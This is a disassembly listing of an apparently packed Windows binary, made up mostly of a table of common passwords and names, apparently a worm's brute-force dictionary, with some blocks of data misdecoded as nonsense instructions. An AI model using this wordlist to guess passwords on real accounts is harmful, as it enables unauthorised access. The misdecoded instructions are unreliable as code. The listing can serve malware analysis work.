dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom_0 ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
db 0D0h, 0D1h, 42h
; ---------------------------------------------------------------------------
loc_42A767: ; CODE XREF: .nsp0:0042A794j
add al, cl
rol dword ptr [edx+0], 1
rcl cl, 42h
add [eax-4FFFBD2Fh], bh
rol dword ptr [edx+0], 1
test al, 0D1h
inc edx
add [eax-67FFBD2Fh], ah
rol dword ptr [edx+0], 1
nop
rol dword ptr [edx+0], 1
mov cl, dl
inc edx
add [eax+780042D1h], al
rol dword ptr [edx+0], 1
jo short loc_42A767
inc edx
add [eax-2Fh], ch
inc edx
add [eax-2Fh], ah
inc edx
add [eax-2Fh], bl
inc edx
add [eax-2Fh], dl
inc edx
add [eax-2Fh], cl
inc edx
add [eax-2Fh], al
inc edx
add [eax], bh
rol dword ptr [edx+0], 1
xor cl, dl
inc edx
add [eax], ch
rol dword ptr [edx+0], 1
and cl, dl
inc edx
add [eax], bl
rol dword ptr [edx+0], 1
or al, 0D1h
inc edx
add [ecx+edx*8], al
inc edx
add ah, bh
rol byte ptr [edx+0], 1
; ---------------------------------------------------------------------------
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
; ---------------------------------------------------------------------------
adc ch, cl
inc edx
add ds:0CCFC0042h[ecx*8], al
inc edx
add ah, dh
int 3 ; Trap to Debugger
inc edx
add al, ch
int 3 ; Trap to Debugger
inc edx
add al, ah
int 3 ; Trap to Debugger
inc edx
add al, bl
int 3 ; Trap to Debugger
inc edx
add al, dl
int 3 ; Trap to Debugger
inc edx
add al, cl
int 3 ; Trap to Debugger
inc edx
add al, al
int 3 ; Trap to Debugger
inc edx
add [eax-4FFFBD34h], bh
int 3 ; Trap to Debugger
inc edx
add [eax-63FFBD34h], ch
int 3 ; Trap to Debugger
inc edx
add [esp+ecx*8-3377FFBEh], dl
inc edx
add [esp+ecx*8+42h], bh
add [esp+ecx*8+42h], dh
add [esp+ecx*8+42h], ch
add [esp+ecx*8+42h], ah
add [esp+ecx*8+42h], bl
add [esp+ecx*8+42h], dl
add [esp+ecx*8+42h], cl
add [eax-34h], al
inc edx
add [eax], bh
int 3 ; Trap to Debugger
inc edx
add [esp+ecx*8], ch
inc edx
add [esp+ecx*8], ah
inc edx
add [esp+ecx*8], bl
inc edx
add [esp+ecx*8], dl
inc edx
add [esp+ecx*8], cl
inc edx
add [esp+ecx*8], al
inc edx
add al, bh
retf
; ---------------------------------------------------------------------------
inc edx
add al, dh
retf
; ---------------------------------------------------------------------------
inc edx
add al, ch
retf
; ---------------------------------------------------------------------------
inc edx
add al, ah
retf
; ---------------------------------------------------------------------------
inc edx
add al, bl
retf
; ---------------------------------------------------------------------------
inc edx
add al, dl
retf
; ---------------------------------------------------------------------------
inc edx
add al, cl
retf
; ---------------------------------------------------------------------------
inc edx
add al, al
retf
; ---------------------------------------------------------------------------
inc edx
add [eax-4FFFBD35h], bh
retf
; ---------------------------------------------------------------------------
inc edx
add [eax-5FFFBD35h], ch
retf
; ---------------------------------------------------------------------------
inc edx
add [eax-6FFFBD35h], bl
retf
; ---------------------------------------------------------------------------
inc edx
add [eax+7C0042CBh], cl
retf
; ---------------------------------------------------------------------------
inc edx
add [eax-35h], dh
inc edx
add [ebx+ecx*8+42h], ah
add [ebx+ecx*8+42h], bl
add [ebx+ecx*8+42h], dl
add [ebx+ecx*8+42h], cl
add [ebx+ecx*8+42h], al
add [ebx+ecx*8], bh
inc edx
add [ebx+ecx*8], dh
inc edx
add [ebx+ecx*8], ch
inc edx
add [eax], ah
retf
; ---------------------------------------------------------------------------
inc edx
add [ebx+ecx*8], dl
inc edx
add [ebx+ecx*8], cl
inc edx
add [ebx+ecx*8], al
inc edx
add ah, bh
retf 42h
; ---------------------------------------------------------------------------
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
; ---------------------------------------------------------------------------
fmul st(2), st
inc edx
add ah, dl
retf 42h
; ---------------------------------------------------------------------------
dd offset aVenus ; "venus"
; ---------------------------------------------------------------------------
ror dl, 42h
add [eax-4FFFBD36h], bh
retf 42h
; ---------------------------------------------------------------------------
test al, 0CAh
inc edx
add [eax-6BFFBD36h], ah
retf 42h
; ---------------------------------------------------------------------------
mov edx, cs
inc edx
add [edx+ecx*8-3587FFBEh], al
inc edx
add [eax-36h], dh
inc edx
add [eax-36h], ch
inc edx
add [eax-36h], ah
inc edx
add [edx+ecx*8+42h], dl
add [edx+ecx*8+42h], cl
add [edx+ecx*8+42h], al
add [edx+ecx*8], bh
inc edx
add [edx+ecx*8], dh
inc edx
add [edx+ecx*8], ch
inc edx
add [eax], ah
retf 42h
; ---------------------------------------------------------------------------
sbb dl, cl
inc edx
add [eax], dl
retf 42h
; ---------------------------------------------------------------------------
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_2 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
